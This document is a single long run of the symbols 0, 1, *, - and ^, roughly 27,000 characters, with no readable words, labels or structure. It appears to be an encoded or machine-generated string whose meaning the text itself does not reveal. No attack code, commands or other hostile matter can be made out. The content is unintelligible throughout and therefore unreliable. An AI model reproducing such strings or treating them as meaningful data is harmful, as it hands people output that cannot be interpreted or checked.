01*-01*101*001*1*01*10^1****01**010101*0--001101*101*001*1*101*001^1*11011******0-1*01011*101011*01**--------0^-1*-00^1*0-11*-----110--^-11*-*001*01^1*01101**********1*0^-001**00--101011*011*001*1*-----10---01**0-*001*01^1*^1101******00^^1011**001*010^1********-0^1*001*-*01*1*011*001^1*01011*0011*0011****001****11*101******1***1*1**1******1**001*1**0^-*00--------0^-1*-00^11*-11*-----10---0-*00-*001*01^1*110110^-1*1*^11*1^-11*0101*01*1*********0-*0^-001**00--1^11*011*001*1*-----10---00101*0-*001*01^1*010110^1011*1*^11*0110-11*1101*01*1*011*001^1**11*0101*0011****001**-11011*101*01****01**001101*0--011**01**--------0^-1*-*011*0-11*-----10--1*-1*0-*001*01^1*1*1*-11*********^1*0^-001**00---101*011*001*1*-----10---01*1*-*001*01^1*11011*011*001^1*^11*1101*0011********11**101******01**--11*001******01**101^11*001*1101*011*00--------1^-1*-0011011*-----10--10-0101*-*001*01^1*01011**********1*0^-001**00--1*11*011*001*1*-----10--1**11*-*001*01^1*^1101******10^10^1011**1*010^1********00110101*00^^1*01*1*011*001^1*10-*--------00110-*-00^110^1*110-11*1*^--^-11*1011*01*1*-----10--110^-*-*001*01^1*^1101*****00101010110110101**^1^^1*****01**0011011**01*011*01*1*********10101*^-*01*001*1*--------1^-1*-*0011*---------**00-*001*01^1*^1101********00-1101*00^1*^1*****01***101**00^1101*01*1*********10101*^-001**00--^-*011*001*1*--------01^1*00-*001*01^1*^11010^1*0-11*1*^1*****01**0-0-**1*101*01*1*011*001^1*00-*--------110-*00-*001*01^1*1011*0-11*001*001^1*011****011**01101**101*1101*^101^-*1^1*0^1*0-**001*0101**01****01**001011*0--00101*******00110^--011**--------0^-1*-00-1*0-11*--------10^11*0-*001*01^1*0^1*-11*********^1*0^-001**00---011*011*001*1*--------*-1*0-*001*01^1*^1101*****00101*001*0011*001*010^101^110-11*^1*01*1*011*001^1*01101******001**0110101*****001**001*001********0011*1*****001**1*0101*****01**001**********10101******01**010110-*****001**1^1101********-101******1***-******001**-1011********0-0011******1**101*11********0^101*****001**0010-******01***101****************001**0^-11*****01**0^1101*********11*1*****001**-*01*****01**001**********10^-*****001**1^1101********101^11********10101101*****01**01101^1********11011*101*1*01*01*1**1*01^1*0101*0-11*-1*01^1*001****01*****0--00-*01^1*001*******010101010--01011*01^1*001****01**0-010^--*11*01^1*001****01**0^110^--01101*01^1*001****01**001**0--00101*01^1*001*******0-11010--0^1*01^1*001*******-1*10--001101*01^1*********1***-001*1***001**00101^1*****011**0110-***0101**001^1^1******0010101*11*00-----^--10^-*-00101*001^1*^1101*****00-110-0-11**^1^^-*^-11*1101*01*1*-----^---0-1*-00101*001^1*^1101*****00-011*01***01*010^10-1^-11*0101*01*1*--------^10-*-00^1101*******-110-011*001*010^1*11010-11*0101*01*1*-----110--^11**-00101*001^1*^110101*^10110-0-11*^1*01*1*1*^1********1^^1*00^^1*01*1*********10101*^-001**00--1^1*0-11*^1*0-----110--*-*00-00101*001^1*01011*-11*1011*0-01*--------01^-*-00^1101******-010110^11**^1^^1*****01***110101*00^1101*01*1*-----110--0110101*0-00101*001^1*1*^1********-01101*001*001*01*1*********-1*0^-001**00--101101*^1*0-----110--0-011*0-00101*001^1*11011010^11*1*^10110-0-11*011*001*1*1011*001011*--------^10-*-00^1101*****00-^1*0-01*001*010^10-0010-11*0101*01*1*-----110--0-*1*-00101*001^1*-1*0-11*********^1*0^-00-*00--------0^-1*-001101*0-11*-----110--00^101*-00101*001^1*01101**********1*0^-001**00--1^11*^1*0-----110--10101101*-00101*001^1*00-*1011*011011*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^1^11*1*001********************1*001*01*1101*--------1^-1*-*0-*-----110---11011*-00101*001^1*^110101^1^-11*1*^11*0^-11**1*01*1*********-1*0^-001**00--101011*^1*0-----110---0-1*-00101*001^1*11011*1011*0^11*1101*0011****011**0^1**101*1101*001*0011*****^1*--------^10-*-00^1101********011*-*00^1*^1^1*0-11*^1*01*1*-----10--^-**-00101*001^1*1*^^-**1*01*1*********1101*0^-001**00--1*11*^1*0-----10--1*011*00-00101*001^1*^1101******-10^10-**01*010^1*****01**01*-**^-*001*1*1011*0^1*0-11*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^-101*1*001********************11*01*0^10-*--------0^-1*-*^1*-11*-----10--1^1011*0-00101*001^1*^1101011*010-11*1*^-101**1*01*1*********0-*0^-001**00--10-1*^1*0-----10--1**01*-00101*001^1*^1*0-11*1011**011*0101*00101*******00110^--0--------10110-*-00^11010^11*1*^--110-11**1*01*1*-----10--110-001*-00101*001^1**11*-11*********^1*0^-001**00---101*^1*0-----10---110101*-00101*001^1*10101*-11*1011*010-*1101*0011****011**10101**101*1101*^101^-*1*1**01**1****01**0^11*0--0011*00--------0^-1*-0010101*-11*-----10--10^1011*-00101*001^1*1^1*-11*********^1*0^-001**00--^-*^1*0-----10--^^-*-00101*001^1*0101*0-11*1011**-*-----10---110-*-00101*001^1*1011*0-11*0011*0110101*******-01*101******01**110101**01******01**11*01**^101**11*******10101**101******1***101011*001******1**0-00-*00^--------0^-1*-*101*0-11*---------11**-00101*001^1*^1101******11*0-***001*010^101101*-*001*1*********1*1*^-001**00---011*^1*0--------^-*00-00101*001^1*0-*0-11*1011*00-1*--------1^-1*-*-1*--------010^1*0-00101*001^1*1*1*-11*********^1*0^-00-*00--------0^-1*-*-*0-11*--------*0011*0-00101*001^1*01101*-11*********^1*0^-001**00--110-*^1*0--------0^-*0-00101*001^1*0101101*011*1*^1*****01**01*-**1*11*001*1*1011*001101******001**0-*1*****01**0^-1******1**101^1*****001***010-********0010-1*****001**0-*1********001101*********1101011********1011011********0010-01*****01**01010101********01*001****************001**-**********01^1********00110^1*****01**01010101******1**-01*********1*0101*****01**0101*******01***00101********1^1******01***001011*****01**00-*1*****01**011*1******01**00-11******1**01*01*****001***110101*****01***010-********10-*101*10101*001*1*101*001^1**01*-11*1101*01^1*001****01**0^110^--00101*01^1*001*******-1*10--0^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0^1^1*****011**0^101***011***1^1^1*010101*11********11**101******1**0-11011*001******1**010110-*001*1101*-*00-----110--*-11*-*01*001^1*01101*-----10--1***00-*01*001^1*00-*--------^10-*-00^1101*****001*1*01***001*010^-1*10-11*^1*01*1*-----10--1*11**-*01*001^1**11**********1*0^-001**00--110-**1*0-----10--1^101*00-*01*001^1*0011*0-11*0011*0-01*--------0^-1*-*011*0-11*-----10---0-*00-*01*001^1*1*1*-11*********^1*0^-001**00--101101**1*0-----10--1101^1*0-*01*001^1*1^1*-11*0011*011011*00-0011*^-011*011*00-01*-*00--------0^-1*-001^1*-11*-----10--110^11*0-*01*001^1*-01**********1*0^-001**00--101011**1*0-----10--10110-*0-*01*001^1*^1101*****0011*0010110^1*00^1^^101*110-11**1*01*1*0011*001011*00-0011*^101011*011**1101*-*00--------01^-*-00^1101********0^^11*00^1*^1*****01**0^1***1*11*001*1*-----10---*101*-*01*001^1*1*^1*10^-11*-*001*1*********0011*0^-001**00--1^11**1*0-----10--1*-01*-*01*001^1*0101*0-11*0011*010-*00-0011*^110-*011*00^11*-*00--------^10-*-00^110101*^1011*10-11*011*001*1*1*^-101^-11*011*001*1*-----10--1^11011*-*01*001^1*01011**********1*0^-001**00--^-**1*0-----10--101010-*-*01*001^1*^1101*****00110-1*01101**1*010^1*****01**010-11**^101*001*1*0011*0^11*1101*01*******001*0^1011*101011*--------0^-1*-001101*0-11*---------1**0-*01*001^1*^11**********1*0^-001**00--1*11**1*0--------*001*00-*01*001^1*00101*-11*0011**011*0101*0011****001**-11011*101*01****01***011*0--011**01**--------01^-*-00^1101******0-01*01***1*010^1********01*011*00^101*001*1*--------110^1*0-*01*001^1*1011*0-11*********^1*0^-001**00---101**1*0--------10-01*0-*01*001^1*1101101011011*1*^10101*0-11*011*001*1*0011**-*00-0011*^^-*011**0011*-*00--------1^-1*-0010-*--------^-1*0-*01*001^1*^1101******001011*10-1*001*010^1*****01**001101011*00^101*001*1*********10101*^-001**00---011**1*0---------0^1*-*01*001^1*11011*0011*001101******01**0110101********001**1*****01***10101*****001***10101*****001**01011011*****001**01*1*********0-01*******************0^1011*****001***0-1********0-01101********^10-********0-01********************1*1*****001**0^10101*****01**01*0101*********11011********^1^1*****01**0^1^1*****01**011*01********00101*********001101*101*1*1*001*1*001*001^1*0-*0-11*^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001***01^1*****001***^1***101***1^1^1*********01010^^1*0-----1^--0010-*-*101*01^1*1*^-0-10-11*1101*01*1*-----1^--010-1*-*101*01^1*^110101*^101^110-11*0011*01*1*1*^10-1*-11*0011*01*1*---------10-*-001*^--*-11*1101*01*1*-----1010--*1**-*101*01^1*10-*-11*********^1*0^-001**00--10^1*-11**1*01*1*-----1010--0^1*00-*101*01^1*-01**1*01^1*-01*--------1^-1*-00-01*-----1010-11011011*00-*101*01^1*11010^-11*********^1*0^-001**00--101101**1*01*1*-----1010--00^1*0-*101*01^1*^110^1*010-11*1*^1********0--1*00^1011*01*1**1*01^1*11011*101*001^1*1*******001*0^1011*1011****001**00-011*101*11**1**--------01010-*-*001101010-*1*^1********10^101*001**1*1*1*-----1010--10-1*0-*101*01^1*^1101010110110-11*1*^1********010-01*001*011*01*1*********0^1*^-001**00--101011**1*01*1*-----1010--110^1*-*101*01^1*^11010^11*-11*1*^1********00110-*00^1011*01*1**1*01^1*01011*01********00-01**1011****011**10-*1^-0101**-*0101**01**01**^1*--------0^-1*-*-1*-11*-----1010--1*011*-*101*01^1*1*^1*01010-11**01*1*1*********0011*0^-001**00--1^11**1*01*1*-----1010--0011011*-*101*01^1*^1101******110--101**001*010^1*****001**110101**0^-1*01*1**1*01^1**11*0101*0011****001**10-011*101*01****01**0-01*0--*1****01***-*0--*1****01**011011*0--001**--------01^-*-00^1101******-*0^-**0^1^^1********^-11*001*-*01*1*------0-1101011**-*101*01^1*11*^-11*********^1*0^-001**00---101**1*01*1*------0--01101*00-*101*01^1*^110^-1*-11*1*^-^^-11**01*1*1**1*01^1*00-*011*001^1*01101*--------0^-1*-0010^^-11*------0--00^1*0-*101*01^1*00-*-11*********^1*0^-001**00---011**1*01*1*------0-1^-01*0-*101*01^1*10-**1*01^1*0101*0-11*1011*01*******001*0^1011*1011*001*1*--------1^-1*-0010-*------0-110110-*0-*101*01^1*^1101********00110^1*00^1*^-10-0-11**01*1*1*********0^1*^-001**00--1^1*0-11**1*01*1*------0--^^1*-*101*01^1*^110101*^1********01101101*001*011*01*1*1*^1^10110-11*0011*01*1**1*01^1*^11*0011*0011****001**0-1011*10^1**00^1*11**011**1**--------0^-1*-*0101*-11*------0--0-101*-*101*01^1*-11*-11*********^1*0^-001**00--1*11**1*01*1*------0-11*01011*-*101*01^1*0-*0-11**1*01^1**01*-11*01^1*11****011**-01**10^-*00--------^10-*-00^11010^-10-11*1*^1********1*0011*001*011*01*1*------0-1^10-1*-*101*01^1*1*^^1*10-11*1011*01*1*********0011*0^-001**00---11*0-11**1*01*1*-----^--1101**0-*101*01^1*^1101******00^1*001011*001*010^-001*-11*1*1*1*1**1*01^1*0^1*-11*01^1*11****011**1^1**101*1101*011*00--------0^-1*-001*0^-11*-----^--*011*00-*101*01^1*1^1*-11*********^1*0^-001**00--11*1*-11**1*01*1*-----^--001*1*0-*101*01^1*^1101*****0010101^-01011*001*010^10-1*-11*1*1*1*1**1*01^1*1101*0-11*-----^--0101101*0-*101*01^1*01011*-*001^1*011****011**^11**101*1101*011**^1*^101^-*1^1*0^1*0^101^-*1101*001*1*101*001*1*001**^1*^101^-*^1**-**1**-*0-*00--------0^-1*-*1^^-11*-----^--011*01*-*101*01^1*01011*-11*********^1*0^-001**00--10101*0-11**1*01*1*-----^--0101^1*-*101*01^1*-1*0-11**1*01^1*10-*-----^--01^101*-*101*01^1**01^-11*-*001^1*011****011**^11**101*1101*011**^1*01101*00101*^101^-*1101*001*1*101*001*1*001**^1*^101^-*^1**-**1**-*0-*00--------0^-1*-00-1*0-11*-----^--1*1011*-*101*01^1*^1101*****00^10-00-01**^1^^1*****01**010-**001*-*01*1*********10101*^-001**00--^-**1*01*1*-----^--*0-1*-*101*01^1**11**1*01^1*0-1*--------00110-*-00^11010-00110-11*1*^11*0^-11**01*1*1*-----110--*1**0-*101*01^1*^1101010-00--0101^1*-11**110101^^1********^1*1*001*01****01**0^110^--01^^1********00^-*001*01****01**0^110^--*********^-*001*01****01**0^110^--*****00-0-0010-1**1*010^1********0-0-*00^-1*01*1*********010-00^-00-*001*1*--------1^-1*-*0011*-----110---^1*0-*101*01^1*1*^1********^-01*00^1101*01*1*********-1*0^-001**00--110-**1*01*1*-----110--*1011*0-*101*01^1*00110^-11**1*01^1*-1*0-11*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^110101*1*001*******************001**1*01*0-*--------0^-1*-*0110^-11*-----110--0110^1*-*101*01^1*0101*0-11*********^1*0^-001**00--10-*0-11**1*01*1*-----110--01010101*-*101*01^1*01101*-11**1*01^1*1*1*-11*011*******00-11*0101********00-00101*001********001**1*001*001*0--------0^-1*-*1101*-11*-----110--0-0011*-*101*01^1*^1101******0-00^^101*001*010^1*****001**^1***^-1*01*1*********10101*^-001**00--1*01*-11**1*01*1*-----110--0-0-*-*101*01^1*^1101*****001*101*101**00^1^^1********-00-*001*-*01*1**1*01^1*0-*0-11*--------0^-1*-00^1*0-11*-----10--10-**0-*101*01^1*^11010110^10-11*1*^110101*-11*1101*01*1*********-1*0^-00-*001*1*--------01^-*-00^110101*^1********1*0011*001*011*01*1*1*^10^1^-11*0011*01*1*-----10---1011*00-*101*01^1*11011**********1*0^-001**00--11011*0-11**1*01*1*-----10--1010^1*0-*101*01^1*0011*0-11**1*01^1*^1*0-11*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^-101*1*001*******************00101*01*0^10-*--------01^-*-00^1101********011010101*00^1*^1*****01**0-01**00^1011*01*1*-----10--^1*01*-*101*01^1**00^-11*********^1*0^-001**00--10-1**1*01*1*-----10---10^1*-*101*01^1*1101*0-11**1*01^1*1011*0-11*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^-011*1*001********************11*01*0^-01*--------0^-1*-001101*0-11*-----10--1101*11*-*101*01^1*^10^-11*********^1*0^-001**00--^11*0-11**1*01*1*-----10--1^11011*-*101*01^1*00^^-11**1*01^1*0011*0-11*--------1^-1*-0011011*-----10--^110-*-*101*01^1*1*^^-*0011*01*1*********1101***01*1****01**0-11*0--0-*001*1*--------0^-1*-*0^^-11*--------0101**0-*101*01^1*^110101*^^-110-11*1101*01*1*1*^1*****01***11011**^1101*01*1*********10101*^-001**00---01*0-11**1*01*1*--------010101*00-*101*01^1*01101**1*01^1*01101******001**-1*1*****001**1101011*******************0^11******1**0101^11*****0101*00101*******11**101*11********-0-******01**0110-*****01**00-011******1**1*-1******1**001**********-01******01**-01******01**010-******11**010101*********01*11*****011**--1******01**-^1*****0101**-01******11**1^-1********-^1******1**01101101********1101******001***110-*****01**00-01******1**01101*1*****001**011*01*****011**01*101*****011**0011*******01*00^^11******1**0-01*****001**001^101*****001**1101^1*****011**10^11*****001**001^101********11010-********0-^1*****01**001^101*****011**1*101*****00101**01^1*****0011**^11011******1*00^-1*****001**01*1******001**11011011*****01**0-*1******1**101*1*****00101***1******0101***001********01*1^101*^101*01*1*0101*01^1*0-0^-11*1*1*1^1*001*******-1*10--*001*1^1*001****01**0-010^--0-1*01^1*001*******010101010--00-*01^1*001****01**0^110^--01011*01^1*001****01**001**0--*11*01^1*001****01*****0--01101*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**0-0^1*****0011*001010101***1101**001^1^1****10101*11*00-----110--*1101*0-*01*001^1**11*-11*-----110--1*011*0-*01*001^1*0101*0-11*--------1^-1*-*1011*-----110--*0-*0-*01*001^1**01*-11*********^1*0^-001**00--1^1*0-11**1*0-----110--11*001*-*01*001^1*00101*-11*0011*0-01*--------0^-1*-*0101*-11*-----110--1010^1*-*01*001^1*00-**********1*0^-001**00--101101**1*0-----110--01^101*-*01*001^1*0101101010-*1*^1********-01101*00^-*001*1*0011**011*0101*0011****01**011*11*0101******11***10-*001******11***0-1*001*1**--------0^-1*-*-*0-11*-----110--1*1011*-*01*001^1*^1101*****00^11*11010-*001*010^10-*0-11*101*001*1*********0^1*^-001**00---101**1*0-----110--00110-*-*01*001^1*10101*-11*0011*001011*1101*01*******001*0^1011*101011*--------0^-1*-0010101*-11*-----10--1101**00-*01*001^1*1101*0-11*********^1*0^-001**00--1^11**1*0-----10---101**-*01*001^1*^1*0-11*0011*011011*00-0011*^1^11*011**1101*-*00---------10-*-001*^101101010-11*0101*01*1*-----10--10^11*00-*01*001^1*-01**********1*0^-001**00--101011**1*0-----10---*01*0-*01*001^1*^1101*****00-0110-101011*001*010^10^1010-11*011*001*1*0011*00-1*00-0011*^101101*011*00^11*-*00--------00110-*-00^1101*-^-11*1*^1010-00-11*^1*01*1*-----10--10101011*0-*01*001^1*0^1*-11*********^1*0^-001**00--110-**1*0-----10--^-11*0-*01*001^1*^1101********01101*1*00^1*^1*****01**00101011**1*001*01*1*0011**-*00-0011*^1*11*011*00-01*-*00--------1^-1*-0011011*-----10----001*-*01*001^1*10-**********1*0^-001**00---011**1*0-----10--1*01101*-*01*001^1*11011*-11*0011*0^11*--------01^-*-00^1101*****00-0-0-10-*001*010^1********0-*1*00^101*001*1*-----10--10-0011*-*01*001^1*-1*0-11*********^1*0^-*101******001*11010--0--------01^-*-00^1101******010110-1101**01*010^1*********0-1*001*11*001*1*-----10--^10-1*-*01*001^1*1*^1*****01**001*001*001*001*01*1*********-1*0^-001**00--1*11**1*0--------0011**0-*01*001^1*01101*0011*0^1*0-11*01010^-*00--------1^-1*-*1101*---------11**-*01*001^1*^110101*^1********1*0101*00^-*001*1*1*^1*********0^1*00^-*001*1**********11*^-001**00--10-1**1*0--------**1*0-*01*001^1*^1101*****0010110^11010101*001*010^1********10110101*001*11*001*1*0011*010-*00-0011*^-101*011**0011*-*00--------0^-1*-001*1*-11*--------00^11*0-*01*001^1**11**********1*0^-001**00--^-**1*0--------1010-*0-*01*001^1*^1101*****001^10101*-**1*010^1**10-11*101*001*1*0011*001101*********^11011*********10101*****01**0-0011*********101**********0-*****001**00^-*****001**010-001*****001**011*****************001***1101********00^^1******1**-11*********0-0011*****01**011*-********0^-******1**011*******1**01101*1*****001**1*11******1**00^-*****001**0--01*********0-1*****01**0110-11*****01**01011*******1***101******1**0011*1*********1101******1**01*011********010-11*********-*101*1*1*001*1*001*001^1*1^1*-11*0101*01^1*001*******0-11010--0^1*01^1*001****01**0-010^--*01*01^1*001****01**001**0--0-*001^1*001****01*****0--0011*001^1*001*******010101010--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00110^1*****001**-11011**00101***1^1^1*********010101*001**1****01***1*0010-11*011010-01*001****01***1*00110-1010^1*1**-----1^--1*001*-00-*001^1*0-1*-----1^--101*1*-00-*001^1*^1101*********010101*00^1*^101101010-11*1101*01*1*--------0^-1*-00^11*-11*-----1^-1^^101*-00-*001^1*^-00-11*********^1*0^-001**00--^101*-11*101*001*1*-----1^-11*-01*-00-*001^1*^11010110-00-11*1*^1********01101101*00^1101*01*1*101*001^1*-01*--------0^-1*-0011*^-11*-----1^-1^101011*-00-*001^1*^11**********1*0^-001**00--101101*101*001*1*-----1^-1101^-*-00-*001^1*01^^-11*101*001^1*10-*1011**011*---------10-*-001*^-00-0-11*1011*01*1*-----1^-110--1*-00-*001^1*^1101********01^1101*00^1*^1*11*1101*01*1*********1*1*^-001**00--^-*101*001*1*-----1010--0011**-00-*001^1*0011*0-11*101*001^1*0^1*-11*--------00110-*-001*^1********^1*1*001*-*01*1*-----1010--^11*00-00-*001^1*01*^-11*********^1*00-11*01****01**00101*0110-^1**^1*0--------0^-1*-*011*0-11*-----1010---001*0-00-*001^1*^1101******00^^-1101*001*010^-001*-11*0101*01*1*********0^1*^-001**00--11*1*-11*101*001*1*-----1010-1^11011*0-00-*001^1*-01*-11*101*001^1*1*1*-11*1011**011010-01*^1*0--------0^-1*-00-01*-11*-----1010-1^1*01*-00-*001^1**00^-11*********^1*0^-001**00--1*01*-11*101*001*1*-----1010-11*1^1*-00-*001^1*11011*101*001^1*00101*-11*010101*0101*--------1^-1*-0011011*-----1010-1^110101*-00-*001^1*1*^-01*0-11*0-*01*1*********0011*0^-001**00---001*-11*101*001*1*-----1010--1*011*-00-*001^1*^1101*****001101011*^11**1*010^1*0-0-11*0101*01*1*101*001^1*0101*0-11*001*001^1*01101*--------^10-*-00^11010^-00-11*1*^1*********1*1*00^1011*01*1*-----1010-1^110-*-00-*001^1*11010^-11*********^1*0^-001**00--1^1*0-11*101*001*1*------0-11***00-00-*001^1*01101^-11*101*001^1*0-*0-11*--------0^-1*-00-01^-11*------0-1^101**-00-*001^1*^110^--0-11*1*^101^^-11*1011*01*1*********-1*00-1^^11010-01*001****01**011**110-^1**001*001*1*--------0^-1*-*1101^-11*------0--00-*00-00-*001^1*10101*-11*********^1*0^-001**00--11011*0-11*101*001*1*------0--01^1*0-00-*001^1*00-*101*001^1*00-*0011*0-*00--------1^-1*-*0-*------0-11*0011*0-00-*001^1*-10^-11*********^1*0^-001**00---011*101*001*1*------0--^-*0-00-*001^1*010-00-11*101*001^1**01*-11*110101******00^1*00101******11**01101011*001******11***11011*00^^101^-*-1*00-**001*0--------0^-1*-*10-00-11*------0--101^1*-00-*001^1*0^1^-11*********^1*0^-001**00---11*0-11*101*001*1*------0---0101*-00-*001^1*^110101*^101101*-11*1101*01*1*1*^-0-10-11*1101*01*1*101*001^1*1101*0-11*------0--01*11*-00-*001^1*10101*-11*--------^10-*-00^1101*********011011*00^1*^101010^-11*0011*01*1*------0-110-1011*-00-*001^1*^1101*****00101010-^101**^1^^1*****01**0011011**0^^1*01*1*********10101*^-001**00--10101*0-11*101*001*1*------0-110--1*-00-*001^1*10110^-11*101*001^1*0011*0-11*-----^--1101**0-00-*001^1*0-1*-11*00-0010^10-*01101*^^1*001*1*-*001*^^1*001*1**1**1*001*1**1*0--------0^-1*-0010110^-11*-----^--^101*00-00-*001^1*1*^^101010-11*1011*01*1*********0011*0^-001**00---01*0-11*101*001*1*-----^--**1*0-00-*001^1*-01*101*001^1*^11*-----^--110^1*0-00-*001^1*1*^-110110-11*1011*01*1*110101******011**00101******01**1101*1*001******01**1**1*00^^101^-*^1****01**0^1*0110-^1**01101*011**1101*001****01**0^1*0110-^1**--------1^-1*-00-01*-----^--10-11*0-00-*001^1*^1101010110110-11*1*^--^-11*1101*01*1*********-1*0^-001**00--1*11*101*001*1*-----^--0110^1*-00-*001^1*^1101*****0010101^1*0-*001*010^10-1*-11*0101*01*1*101*001^1*-1*0-11*--------0^-1*-**0^-11*-----^--1^1101*-00-*001^1*^1101*001010-11*1*^10^1^-11*0011*01*1*********-1*0^-0011**--------0^-1*-*0-*-11*-----^---^11*-00-*001^1*1*^-1*10-11*0011*01*1*********0011*0^-001**00--10-*0-11*101*001*1*-----^--01^-*-00-*001^1*^1101******1010-*00101*001*010^1*****01***01^1*001*001*01*1*101*001^1*01011*-----^--0--1*-00-*001^1*^110101*^-00-0-11*1011*01*1*1*^-00-0-11*1011*01*1*110101******011**00101******11**01010-*001******11***00-*001*1011*^101^-*^1****01**0^1*0110-^1**011**1101*011****001**01011011*101*01****01***1*00110-^1**--------0^-1*-*0110^-11*-----110--00-1*00-00-*001^1*^1101******0^1^^1101*00^1^^1********1010^1*00^^1*01*1*********10101*^-001**00--1^11*101*001*1*-----110--1101101*0-00-*001^1*^1101*****0010-0-01*01*001*010^110101010-11*0101*01*1*101*001^1**11*0101*01*******001*0^1011*1*110^1011*^101^-*^1****01**0^1*0110-^1**--------00110-*-00^110101*1^-11*1*^^110110-11*0011*01*1*-----110--1011*1*-00-*001^1*1*1*-11*********^1*0^-001**00---101*101*001*1*-----110--*00101*-00-*001^1*10-*101*001^1*1^1*-11*--------0^-1*-0010101^-11*-----110--1^1101*-00-*001^1*1*^1*****01**01*-**^1011*01*1*********-1***01010101*001****01***1*00110-^1**--------01^-*-00^1101******1*101*11**001*010^1********0011*1*001*101*01*1*-----110--1*0-*-00-*001^1*-1*0-11*********^1*0^-001**00--10^1*-11*101*001*1*-----110--1010-1*-00-*001^1*1*^11*1*-11*0011*01*1*101*001^1*^1*0-11*-----10--1101**00-00-*001^1*^11010-01010-11*1*^-0-10-11*1101*01*1*1101*0110101******01*1*00101******11**00-01**1******11**011*1**^^101^-*-1**1101*-**01****01***01*0110-^1**--------0^-1*-*0101*-11*-----10--1011011*00-00-*001^1*^10^-11*********^1*0^-001**00--10-1*101*001*1*-----10--1^^1*0-00-*001^1*01011*-11*101*001^1*11011*1101*0110101******1*1**101*0110110-11*00-110-11*011**01****01***01*0110-^1**--------0^-1*-*1011*-11*-----10--11011011*0-00-*001^1*1^1*-11*********^1*0^-001**00--101011*101*001*1*-----10--1**01*-00-*001^1*^1101*******01*-***1*010^1********0101^1*001*101*01*1*101*001^1*1011*0-11*001*001^1**11010-01*001*001*1*--------0^-1*-001*1^-11*-----10--101^101*-00-*001^1**11*-11*********^1*0^-001**00--^11*0-11*101*001*1*-----10--1010-01*-00-*001^1*^1101*****00^^-0-01**^1^^1*****01**0^1***^^1*01*1*101*001^1*0-1*-----10--10^1011*-00-*001^1*1^1^-11*--------01^-*-00^1101*****00-10^101011**01*010^1*****01**0-^11*001*001*01*1*-----10--10-0-*-00-*001^1*10-*-11*********^1*0^-001**00--110-*101*001*1*--------1***0-00-*001^1*^11*-11*101*001^1*01101******011**0101^1*****0101***-*****001***01*******1**11010-******1*001011******00101**101*1*****01**00^1101******1*00101*11*****011**^-1********01011*1*****011***^1*****0011**1^1101*****0101***001*****0011**-1*******1**-001******001*001*11******01**01*011********0-1011******************00110-******101*00-001******1***01*******01**10^1*****00101*001010101******01*00-00-******1*00-0011******01***^1******1*00^1011*****0011**01**********0^11******01**-0-*****00101*00^11*********001*11*****0101**1*001********0-011******01*001*0101*****001**0110^1*****011**11011011*****01***011*********-00101*****0101*001010101*****001**01011*1********1^101*****001**0--******1**01*011******1**1*011******01**010-1******1*********001***011011*****001**101*1*********11******001**01011011*****0011****11******1*001010-*****0011**--******101***001*****0011**0-101******1**101^11*****001**-1*********0110-00101*10-*001*1*-*001^1**10^-11*0-*01^1*001*******0-11010--01011*01^1*001****01**001**0--*11*01^1*001****01**0-010^--01101*01^1*001****01*****0--00101*01^1*001*******-1*10--0^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--001101*01^1*********1***-001*1***001**01010^1*****0011*00^^11***001**001^1^1*********010101*11*00--------00110-*-00^1101010-010-11*1*^10-*0-11*0-*01*1*------0-110110101*0-00-*001^1**110101*^1********-01101*00^1011*01*1*1*^-1*10-11*1011*01*1*********10101*--0011**-*00------0-110^-*0-00-*001^1*01101*-11*------0--10-1*0-00-*001^1*^1101*****00^10-0^11**01*010^1********01^101*001*001*01*1*--------0^-1*-*^1*-11*------0--110^1*-00-*001^1*^1101********001101011*00^1*^1********-10101*001*101*01*1*********10101*^-001**00--10101*0-11*101*001*1*------0--1101101*-00-*001^1**00^-11*101*001^1*-01*--------0^-1*-**0^-11*------0-11010^11*-00-*001^1*^1101******-0101^10-*001*010^1********001*01*001*011*01*1*********10101*^-001**00--101101*101*001*1*------0--0010-*-00-*001^1*10^^-11*101*001^1*10-*------0--010-1*-00-*001^1*10101*-11*110101******011**00101******01**-0011**1******01**1011011**^11**01101*011**01****01**0011*00110-^1**001****01**0101*00110-^1**--------0^-1*-0010^^-11*-----^--11*1*00-00-*001^1*^1101******-1010--01*001*010^1*****01**011*11**1*011*01*1*********10101*^-001**00--^-*101*001*1*-----^--01*01*0-00-*001^1*10-*-11*101*001^1*^11*1101*001101*--------0^-1*-0010-*-11*-----^---0101*0-00-*001^1*^1101*****0011*01**101*001*010^10-0010-11*0011*01*1*********0^1*^-001**00--1*11*101*001*1*-----^--1^-*0-00-*001^1*00-*-11*101*001^1*0-1*001****01**0011*0010-11*01101011**001****01**0011*00110-1010^1*1**--------01^-*-00^1101*****0010101011*1011**1*010^1********10110101*001*001*01*1*-----^--*00101*-00-*001^1*^1101*****001^101*10-**1*010^1**10-11**1*01*1*********0^1*^-001**00--110-*101*001*1*-----^--00-101*-00-*001^1*11011*101*001^1*00-*--------1^-1*-*-1*-----^--101^11*-00-*001^1*^1101*******10-0-11**1*010^1********1*0101*001*011*01*1*********10101*00-1*001*011**--------1^-1*-0011011*-----^---10-*-00-*001^1*^1101******0-010-1^1*001*010^1********0^1011*001*011*01*1*********10101*^-001**00---011*101*001*1*-----110--0-**0-00-*001^1*01101*101*001^1*0101*0-11*010101*11**01****01**0-*0010-11*1****01**011**110-^1**01**001****01**0011*0010-110^1*001**-----110---101*00-00-*001^1*01011*-11*110101******011**00101******1**0-1101**1******1**01010101**^^1*0-**11**1101*001****01**0101*00110-^1**-----110--1*101*0-00-*001^1*00-*1101**01101*1****01**011**110-^1**-*00-----110--01*11*0-00-*001^1*^1101*******110101*1**0^1^^1*****01***1***0^^1*01*1*110101******011**00101******11**11*-*001******11**^10-*001*01****01**011**110-^1**-**11**1101*001****01**0101*00110-^1**--------0^-1*-00-1*0-11*-----110--00-001*-00-*001^1*0101101011011*1*^1*****01**00-011**1*-*01*1*********1*1*0-11*01****01**011**110-^1**^1**1****01**0101*0010-1^11****001**^11011*10^-01*01**01**1011*0^